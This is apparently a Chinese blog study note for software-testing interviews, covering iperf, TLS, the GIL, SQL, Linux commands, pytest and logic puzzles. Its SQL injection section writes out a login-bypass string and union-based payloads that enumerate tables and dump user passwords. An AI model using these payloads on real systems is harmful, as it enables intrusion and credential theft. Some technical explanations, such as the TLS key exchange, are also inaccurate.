note~笔记

1、测试网络的好坏
测试上传速度
测试下载速度
测试网络的延时和丢包
测试网络的带宽:iperf -c客户端 -s服务器
iperf -s  #启动server模式
iperf -c ip地址 -i 2  向ip主机发出TCP测试,并每2秒返回一次测试结果
iperf -c ip地址 -f M -i 2 #以Mbytes/sec单位显示测试结果
iperf -s -w 300K  #设置TCP传输窗口大小300K
iperf -c ip地址 -f K -i 2 w 300K -n 1000000 测试传输约1MB数据
iperf -c ip地址 -f K -i 2 w 300K -t 36 #测试持续36秒
iperf -c ip地址 -f K -i 2 -w 300K -n 1000000 -d #测试双向运输
简单例子
iperf -c ip地址 -t 60 #在tcp模式下,客户端到服务器上传带宽测试,测试时间60秒
iperf -c ip地址 -P 30 -t 60 #客户端同时向服务器端发送给30个连接进程
iperf -c ip地址 -d -t 60 -i 2 #进行上下带宽测试
测试网络的长期工作不宕机
测试网络满负载情况下不
下图模拟真实TCP应用,传输特定文件发送数据,Transfer:每秒传送速率,Bandwidth:带宽速率,Retransmits:数据传输量
2、SSL的验证过程
1、申请认证:服务器需要将自己生成的公钥私钥对,根据公钥生成请求文件,
提交给CA,其中包括公钥,组织信息,个人信息等
2、审核信息:CA通过线上线下手段获取申请者的信息真实性
3、签发证书:审核通过,CA向申请者签发证书,包含个人信息,
申请公钥,申请者组织信息,有效期,证书序列号等明文,
同时根据散列函数计算公开的明文信息的信息摘要,
通过CA私钥对信息摘要加密,密文即签名
4、返回证书:client请求:client hello时,验证服务器,发送随机数A,
支持的加密算法,服务器server hello返回随机数B,选择的client支持的算法和证书
5、client验证证书:采用同样的算法获取信息摘要,
通过CA的公钥对摘要加密,和CA一致,则合法
6、密钥协商:client计算随机数C,根据CA公钥加密,
发送给服务器,同时根据明文随机数A,B和C,得到协商密钥,
服务器通过CA密钥解密随机数C,然后同样根据明文随机数A和B,
得到协商密钥。
Client结合之前所有通信参数的hash值与其它信息生成一段数据,
采用协商密钥与算法进行加密生成encrypted_handshake_message,
发送给服务器用于数据与握手验证
服务器计算之前接收的信息hash值,
解密客户端发送的encrypted_handshake_message,
验证数据和密钥正确性
7、握手结束
客户端计算所有接收信息的hash值,
采用协商密钥解密encrypted_handshake_message,
验证服务器发送的数据和密钥,验证通过握手完成
8、加密通信
3、get实现幂等性
get请求本质上就是幂等的,无论多少次请求,结果都是相同的,且不会对服务器的状态产生任何改变
1、只用于数据检索,只获取数据,不用来修改,添加删除服务器上的资源
2、URL和参数的一致性:同样的URL和查询参数返回相同的结果
3、避免依赖于可变数据:避免根据当前时间或者用户的最后一次返回时间返回结果
4、一致的响应格式:响应格式保持一致,对于错误和非法的请求
5、缓存机制,get请求时幂等的,响应可以安全的被缓存以加快响应时间
2、负载均衡-nigix

客户端发送请求到negix,negix根据配置的拦截ip地址根据负载均衡算法到指定的服务器上

nginx学习,看这一篇就够了:下载、安装。使用:正向代理、反向代理、负载均衡。常用命令和配置文件,很全-CSDN博客

3、GIL--全局解释器锁
同一个进程中有多个线程运行,一个线程在运行python会占用python解释器(加了一把锁即GIL),使该进程内的其它线程无法进行,等该线程运行完毕后其它线程才能运行。如果线程运行过程中遇到耗时操作,则解释器锁解开,使其他线程运行。所以在多线程中,线程的运行仍是有先后顺序的,并不是同时进行。

GIL是一个互斥锁,它防止多个线程同时执行Python字节码。这个锁是必要的,主要是因为CPython(python解释器)的内存管理不是线程安全的。
Python内部对变量或数据对象使用了引用计数器,我们通过计算引用个数,当个数为0时,变量或者数据对象就被自动释放。
这个引用计数器需要保护,当多个线程同时修改这个值时,可能会导致内存泄漏;SO,我们使用锁来解决这个问题,可有时会添加多个锁来解决,这就会导致另个问题,死锁;为了避免内存泄漏和死锁问题,CPython使用了单锁,即全局解释器锁(GIL),即执行Python字节码都需要获取GIL,这可以防止死锁,但它有效地使任何受CPU限制的Python程序都是单线程.
1、sql注入
sql注入攻击:通过恶意的sql查询或者插入语句到应用的输入参数中,
再在后台的sql服务器上解析执行进行的攻击。

产生原因:访问动态网页时,服务器向数据访问层发起sql查询请求,
验证通过则执行sql语句,内部不会出问题,但是需要用户输入的情况下,
通过恶意构造sql代码,web应用未对动态构造的sql语句使用的参数进行审查

威胁:猜测后台数据库,盗取网站敏感信息
绕过认证,登录后台
注入可以借助数据库的存储过程进行提权等操作

sql注入: http://xxx.com/news.php?id=1
数字型注入(输入1',报错则是数字型),后台表示:select * from user where id =1
字符串注入: select * from user where id ='1'
搜索型注入: select * from user where id like '%1%'
例子:
绕过登录:url:http://xxx.com/news.php?user=admin&password=123
注入:user=admin' or '1'='1&password=123' or '1'='1'#
select * from user where user='admin' or '1'='1' and password='123' or '1'='1'#'

查询字段个数:http://xxx.com/news.php?id=1' order by 6# 可知总共23个字段

判断注入点(回显点位):1' union select 1,2,3,4,5,6#

爆数据库:1' union select version(),database()#    #查找版本号,数据库名字
1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()#    #查找库中的表名
1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where tablename='user'#   #查找表中的行名
1' union select 1,2,3,4,5,group_concat(user,passward) from user#     #查找表中行数据




2、sql查询
1、order by 
select * from b order by id desc limit 10
2、ROW_NUMBER  #对select返回的每一行,从1开始连续
paitition by #将from子句生成的结果集划分到ROW_NUMBER函数分区
SELECT ROW_NUMBER() over(partition by id order by totalPrice) as rows from 表名
#将一个id的所有totalPrice正序展示出来,并排序 
1、远程复制-从linux复制到本地地址:
scp -r 用户名称@ip地址:文件地址  本地地址

从本地地址复制到linux:

scp -r 本地地址 用户名称@ip地址:文件地址
2、#慢sql查询是否开启
show variables like "slow_query_log%";

#慢sql阈值,单位:秒

show variables like "long_query_time";
3、进程重启

cd 文件目录

ps -ef |grep subserver | grep -v grep |awk '{print $2}' |xargs kill -9

cd /app/kts/subserver/bin

sh startup.sh

其中ps -ef|grep subserver  查看进程

grep -v grep 忽略gerp进程

awk ‘{print $2}’ 命令截取进程号

xargs 命令把前面的输出作为后面命令kill -9 的输入,也就是传左边命令截取的进程号给命令kill -9

4、cat  log.log|grep 关键词   tail -fn 1000 log.log
5、telnet和ping的区别
telnet:TCP协议,能承载数据,开始一个telnet会话,
必须输入用户名和密码来登录服务器,可以本地控制服务器,
远程登录web服务,连接服务器

ping : ICMP协议,测试网络是否连接;
是工作在 TCP/IP网络体系结构中应用层的一个服务命令,
主要是向特定的目的主机发送 ICMP Echo 请求报文
5、linux执行python相关命令
查找python安装地址:    whereis python3
执行python:  python3 x.py
关闭程序:kill服务
ps -ef | grep api.py | grep -v "grep" | awk '{print $2}'| xargs kill -9

执行python 启服务
nohup python -u /app/logs/jshi/testcases/logic/api.py > /app/logs/jshi/testcases/logic/api.log 2>&1

Ps aux 进程查看命令,查看服务运行情况

Netstat -tlunpps 进程查看命令

查看端口号:netstat -tunlp |grep 8080

netstat -anp |grep 8080 

Top查看当前占用CPU或内存最多的

查看环境变量 :env 
6、Corn表达式

0 40 8 ? * 4 * 每周三8:40执行

秒 分 小时 月份 星期中的日期 年份

7、清华源、阿里云

-i https://pypi.tuna.tsinghua.edu.cn/simple

8、jmeter问题
正则表达式:"aptId":"(.+?)"
取int值:"id":\s?(\d+)
Json提取值: $.result.list[*]
$.result.list[0].contents[*]
9、装饰器
1.pytest.mark.parametrize('参数名',list)可以实现测试用例参数化
    -第一个参数是字符串,多个参数中间用逗号隔开
    -第二个参数是list,多组数据用元祖类型;传三个或更多参数也是这样传。list的每个元素都是一个元组,元组里的每个元素和按参数顺序一一对应
2.pytest.mark.skip(设置跳过测试用例的装饰器)
3.pytest.mark.xfail(标记测试用例”预期失败“的装饰器)
4.pytest.mark.自定义名称
    -自定义marker:创建pytest的配置文件pytest.ini,然后在里面定义标记
5.pytest.fixture()
    -此方法可以完成测试之前的初始化
    -可以返回数据给测试函数
参数scope="module"
    function:每个test都运行,默认是function的scope
    class:每个class的所有test只运行一次
    module:每个module的所有test只运行一次
    session:每个session只运行一次
10、智力题
1、时针分针一天重合多少次:22次
思路:时针转1圈,分针转了12圈,时针分针的速度比:1:12,速度差为11/12,每次分针追上时针的时候,都是转了一圈多,时间:1/11/12=12/11,一天24个小时,则24/12/11=22次

2、田忌赛马:25匹马,比较三次可以得到前三名
思路:首先分为5组,开始比较,此时每组的最后两名,可以淘汰10匹,剩余15匹

其次将每组的第一名开始比较,得出第一名A,
可以淘汰最后两组6匹和第三组的最后两名和第二组的最后一名,剩余5匹

这时把剩余的5匹马做比较,得出前两名

3、概率题:四个人,至少两个人生日属于同一个月份的概率41/96
思路:假设每个人生日属于每个月份的概率相同且不同人之间相互独立
1-每个人生日都不在一个月的概率:
1-P(4,12)/12*12*12*12=1-12x11x10x9/12*12*12*12=1-55/96=41/96

4、烧尽一条绳子一个小时,绳子不均匀,请问怎么用燃烧的绳子的方法测量出45分钟
思路:先点燃A一端,B点燃两端,B烧完30分钟,A剩余一半,点燃两端,为45分钟

5、1000瓶水,其中一瓶有毒,小白鼠会死,至少几只小白鼠可以实验出毒
思路:首先:分成一半,500瓶兑起来喂,用一只小白鼠,
其次:500再分一半,250瓶喂,用一只小白鼠
依次:最后得出10只

6、现场有黑白帽子,如果猜中自己是黑帽子,关灯则拍手,第一次关灯没人拍手,第二次也没有,第三次有,那有几顶黑帽子
思路:第一次没人拍手:现场至少有两顶,如果只有一顶,肯定有人拍手
第二次没人拍手:现场至少有三顶,如果只有两顶AB,第一次没人拍手,则肯定能猜出有两顶
第三次有人拍手:现场只有三顶

11、UDP和TCP、HTTP和HTTPS的区别
TCP:传输控制协议,面向字节流,面向连接的,只能进行一对一通信,
使用流量控制和拥塞控制保证可靠性传输,
首部最小20个字节,最大60个字节,例如:文件传输

UDP:用户数据报协议,面向报文,无连接,
可以一对一,一对多,多对多通信,不可靠传输,
首部开销小,仅有8字节,适用于实时应用:IP电话,视频会议,直播等

HTTP:超文本传输协议,端口80,明文传输,数据不加密

HTTPS:SSL+HTTP,端口443,可进行加密传输,身份认证的网络协议。

HTTPS工作原理:
1、客户端发送https请求
2、服务端的配置证书
3、服务端向客户端传送证书,包含证书颁发机构,过期时间等
4、客户端解析证书:客户端的TLS完成,验证公钥是否有效,如果没有问题,
就生成一个随机值,用证书对随机值加密
5、传送加密信息:客户端向服务端发送加密后的随机值,
服务端和客户端通信靠随机值加密
6、服务端解密信息:服务端根据私钥解密后,
得到客户端传来的随机值,然后把内容通过该值进行对称加密。
对称加密:将信息和私钥通过某种算法混合在一起,知道私钥就可以知道信息
7、传输加密后的信息
8、客户端解密信息:客户端通过私钥(随机值)得到服务端传送的信息
12、子网掩码的作用

子网掩码可以分离出IP地址中的网络地址和主机地址,与ip地址做与运算,得出网络号,判断两个IP地址是否是本地网络还是远程网络主机,从而进行本地通信或者远程网络通信

13、设计测试用例的方法
1、等价类划分法:将所有可能的输入数据按照特征分类
2、边界值法:输入输出边界数据
3、因果图法:考虑多种输入条件的情况,如充值系统
4、判定表法:应用多个输入,输出,输入和输出之间有相互组合的关系
4、正交表法:使用最小的测试过程集合获得最大的测试覆盖率,针对多个输入框的测试
5、错误推断法
6、场景法:使用于冒烟测试


 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值